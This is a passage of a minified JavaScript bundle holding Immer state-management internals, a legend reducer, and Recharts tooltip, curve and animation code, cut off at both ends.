o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),vu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),yu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Kd(i);if(!(l&&!o)){if(us(i)){const c=s&&t&&t.type_!==3&&!Jp(t.assigned_,r)?s.concat(r):void 0,u=gu(e,i,c);if(Pk(n,r,u),us(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;gu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(dl(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&yu(e,i)}}}function yu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&n0(t,n)}function fM(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Ek(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=r0;n&&(i=[r],s=Ho);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var r0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Jp(n,t))return mM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===fm(e.base_,t)?(mm(e),e.copy_[t]=ih(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=_k(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=fm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(oM(n,i)&&(n!==void 0||Jp(e.base_,t)))return!0;mm(e),rh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return fm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,mm(e),rh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Uo(e.base_)},setPrototypeOf(){Vn(12)}},Ho={};vu(r0,(e,t)=>{Ho[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Ho.deleteProperty=function(e,t){return Ho.set.call(this,e,t,void 0)};Ho.set=function(e,t,n){return r0.set.call(this,e[0],t,n,e[0])};function fm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function mM(e,t,n){var i;const r=_k(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function _k(e,t){if(!(t in e))return;let n=Uo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Uo(n)}}function rh(e){e.modified_||(e.modified_=!0,e.parent_&&rh(e.parent_))}function mm(e){e.copy_||(e.copy_=eh(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var pM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Ky(this),o=ih(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?th(s):nh(s)}return Hy(s,r),Gy(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Sk&&(i=void 0),this.autoFreeze_&&n0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),us(e)&&(e=hM(e));const t=Ky(this),n=ih(e,void 0);return n[hn].isManual_=!0,nh(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Hy(r,t),Gy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=pa("Patches").applyPatches_;return us(e)?r(e,t):this.produce(e,i=>r(i,t))}};function ih(e,t){const n=dl(e)?pa("MapSet").proxyMap_(e,t):Hd(e)?pa("MapSet").proxySet_(e,t):fM(e,t);return(t?t.scope_:Ek()).drafts_.push(n),n}function hM(e){return us(e)||Vn(10,e),Ak(e)}function Ak(e){if(!ma(e)||Kd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=eh(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=eh(e,!0);return vu(n,(i,s)=>{Pk(n,i,Ak(s))},r),t&&(t.finalized_=!1),n}var xM=new pM;xM.produce;var vM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ok=nn({name:"legend",initialState:vM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=Yn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:nH,setLegendSettings:rH,addLegendPayload:Tk,replaceLegendPayload:Mk,removeLegendPayload:Lk}=Ok.actions,gM=Ok.reducer;function ah(){return ah=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},ah.apply(null,arguments)}function qy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Fs(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?qy(Object(n),!0).forEach(function(r){yM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):qy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function yM(e,t,n){return(t=bM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function bM(e){var t=wM(e,"string");return typeof t=="symbol"?t:t+""}function wM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function jM(e){return Array.isArray(e)&&Lr(e[0])&&Lr(e[1])?e.join(" ~ "):e}var Na={separator:" : ",contentStyle:{margin:0,padding:10,backgroundColor:"#fff",border:"1px solid #ccc",whiteSpace:"nowrap"},itemStyle:{display:"block",paddingTop:4,paddingBottom:4,color:"#000"},labelStyle:{},accessibilityLayer:!1},NM=e=>{var{separator:t=Na.separator,contentStyle:n,itemStyle:r,labelStyle:i=Na.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=Na.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},k=(l?Pd(s,l):s).map((z,S)=>{if(z.type==="none")return null;var O=z.formatter||o||jM,{value:A,name:T}=z,P=A,D=T;if(O){var G=O(A,T,z,S,s);if(Array.isArray(G))[P,D]=G;else if(G!=null)P=G;else return null}var R=Fs(Fs({},Na.itemStyle),{},{color:z.color||Na.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:R},Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-name"},D):null,Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},z.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},k)}return null},x=Fs(Fs({},Na.contentStyle),n),g=Fs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ah({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Ws="recharts-tooltip-wrapper",kM={visibility:"hidden"};function zM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Ws,{["".concat(Ws,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Ws,"-left")]:ge(n)&&t&&ge(t.x)&&n<t.x,["".concat(Ws,"-bottom")]:ge(r)&&t&&ge(t.y)&&r>=t.y,["".concat(Ws,"-top")]:ge(r)&&t&&ge(t.y)&&r<t.y})}function Xy(e){var{allowEscapeViewBox:t,coordinate:n,key:r,offset:i,position:s,reverseDirection:o,tooltipDimension:l,viewBox:c,viewBoxDimension:u}=e;if(s&&ge(s[r]))return s[r];var d=n[r]-l-(i>0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return h<x?Math.max(f,p):Math.max(d,p)}if(u==null)return 0;var g=f+l,y=p+u;return g>y?Math.max(d,p):Math.max(f,p)}function SM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function CM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Xy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Xy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=SM({translateX:f,translateY:p,useTranslate3d:c})):d=kM,{cssProperties:d,cssClasses:zM({translateX:f,translateY:p,coordinate:n})}}function Zy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Zy(Object(n),!0).forEach(function(r){sh(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Zy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function sh(e,t,n){return(t=PM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function PM(e){var t=EM(e,"string");return typeof t=="symbol"?t:t+""}function EM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class _M extends m.PureComponent{constructor(){super(...arguments),sh(this,"state",{dismissed:!1,dismissedAtCoordinate:{x:0,y:0}}),sh(this,"handleKeyDown",t=>{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=CM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),k=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),z=ql(ql({},k),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:z,ref:y},s)}}var Ik=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},oh.apply(null,arguments)}function Qy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jy(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Qy(Object(n),!0).forEach(function(r){AM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Qy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function AM(e,t,n){return(t=OM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function OM(e){var t=TM(e,"string");return typeof t=="symbol"?t:t+""}function TM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var e1={curveBasisClosed:Q_,curveBasisOpen:J_,curveBasis:Z_,curveBumpX:D_,curveBumpY:R_,curveLinearClosed:eA,curveLinear:bd,curveMonotoneX:tA,curveMonotoneY:nA,curveNatural:rA,curveStep:iA,curveStepAfter:sA,curveStepBefore:aA},bu=e=>Ee(e.x)&&Ee(e.y),t1=e=>e.base!=null&&bu(e.base)&&bu(e),Us=e=>e.x,Vs=e=>e.y,MM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(sl(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=e1["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return e1[n]||bd},n1={connectNulls:!1,type:"linear"},LM=e=>{var{type:t=n1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=n1.connectNulls}=e,o=MM(t,i),l=s?n.filter(bu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Jy(Jy({},x),{},{base:r[g]}));i==="vertical"?c=Fl().y(Vs).x1(Us).x0(x=>x.base.x):c=Fl().x(Us).y1(Vs).y0(x=>x.base.y);var d=c.defined(t1).curve(o),f=s?u.filter(t1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Fl().y(Vs).x1(Us).x0(r):ge(r)?p=Fl().x(Us).y1(Vs).y0(r):p=Gj().x(Us).y(Vs);var h=p.defined(bu).curve(o);return h(l)},Qa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=ws();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?LM(o):r;return m.createElement("path",oh({},Mr(e),Ix(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},IM=["x","y","top","left","width","height","className"];function lh(){return lh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},lh.apply(null,arguments)}function r1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function DM(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?r1(Object(n),!0).forEach(function(r){RM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):r1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function RM(e,t,n){return(t=$M(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function $M(e){var t=BM(e,"string");return typeof t=="symbol"?t:t+""}function BM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function FM(e,t){if(e==null)return{};var n,r,i=WM(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function WM(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var UM=(e,t,n,r,i,s)=>"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),VM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=FM(e,IM),u=DM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",lh({},Ut(u),{className:Qe("recharts-cross",l),d:UM(t,n,s,o,r,i)}))};function HM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function i1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?i1(Object(n),!0).forEach(function(r){KM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):i1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function KM(e,t,n){return(t=GM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function GM(e){var t=YM(e,"string");return typeof t=="symbol"?t:t+""}function YM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var qM=e=>e.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Dk=(e,t,n)=>e.map(r=>"".concat(qM(r)," ").concat(t,"ms ").concat(n)).join(","),XM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ko=(e,t)=>Object.keys(t).reduce((n,r)=>a1(a1({},n),{},{[r]:e(r,t[r])}),{});function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ht(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?s1(Object(n),!0).forEach(function(r){ZM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):s1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function ZM(e,t,n){return(t=QM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function QM(e){var t=JM(e,"string");return typeof t=="symbol"?t:t+""}function JM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var wu=(e,t,n)=>e+(t-e)*n,ch=e=>{var{from:t,to:n}=e;return t!==n},Rk=(e,t,n)=>{var r=Ko((i,s)=>{if(ch(s)){var[o,l]=e(s.from,s.to,s.velocity);return ht(ht({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ko((i,s)=>ch(s)&&r[i]!=null?ht(ht({},s),{},{velocity:wu(s.velocity,r[i].velocity,n),from:wu(s.from,r[i].from,n)}):s,t):Rk(e,r,n-1)};function e8(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>ht(ht({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ko((p,h)=>h.from,l),u=()=>!Object.values(l).filter(ch).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Rk(n,l,x),i(ht(ht(ht({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function t8(e,t,n,r,i,s,o){var l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:ht(ht({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ko((g,y)=>wu(...y,n(p)),c);if(s(ht(ht(ht({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ko((g,y)=>wu(...y,n(1)),c);s(ht(ht(ht({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const n8=(e,t,n,r,i,s)=>{var o=XM(e,t);return n==null?()=>(i(ht(ht({},e),t)),()=>{}):n.isStepper===!0?e8(e,t,n,o,i,s):t8(e,t,n,r,o,i,s)};var ju=1e-4,$k=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Bk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),o1=(e,t)=>n=>{var r=$k(e,t);return Bk(r,n)},r8=(e,t)=>n=>{var r=$k(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Bk(i,n)},i8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},a8=function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];if(n.length===1)switch(n[0]){case"linear":return[0,0,1,1];case"ease":return[.25,.1,.25,1];case"ease-in":return[.42,0,1,1];case"ease-out":return[.42,0,.58,1];case"ease-in-out":return[0,0,.58,1];default:{var i=i8(n[0]);if(i)return i}}return n.length===4?n:[0,0,1,1]},s8=(e,t,n,r)=>{var i=o1(e,n),s=o1(t,r),o=r8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)<ju||x<ju)return s(f);f=l(f-h/x)}return s(f)};return c.isStepper=!1,c},l1=function(){return s8(...a8(...arguments))},o8=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l)<ju&&Math.abs(f)<ju?[l,0]:[p,f]};return s.isStepper=!0,s.dt=i,s},l8=e=>{if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return l1(e);case"spring":return o8();default:if(e.split("(")[0]==="cubic-bezier")return l1(e)}return typeof e=="function"?e:null};function c8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class u8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function d8(){return c8(new u8)}var f8=m.createContext(d8);function m8(e,t){var n=m.useContext(f8);return m.useMemo(()=>t??n(e),[e,t,n])}var p8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Gd={isSsr:p8()},h8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},c1={t:0},pm={t:1};function Yd(e){var t=gn(e,h8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Gd.isSsr:n,f=m8(t.animationId,t.animationManager),[p,h]=m.useState(d?c1:pm),x=m.useRef(null);return m.useEffect(()=>{d||h(pm)},[d]),m.useEffect(()=>{if(!d||!r)return bs;var g=n8(c1,pm,l8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef($o(t)),r=m.useRef(e);return r.current!==e&&(n.current=$o(t),r.current=e),n.current}var x8=["radius"],v8=["radius"],u1,d1,f1,m1,p1,h1,x1,v1,g1,y1;function b1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?b1(Object(n),!0).forEach(function(r){g8(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):b1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function g8(e,t,n){return(t=y8(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function y8(e){var t=b8(e,"string");return typeof t=="symbol"?t:t+""}function b8(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive 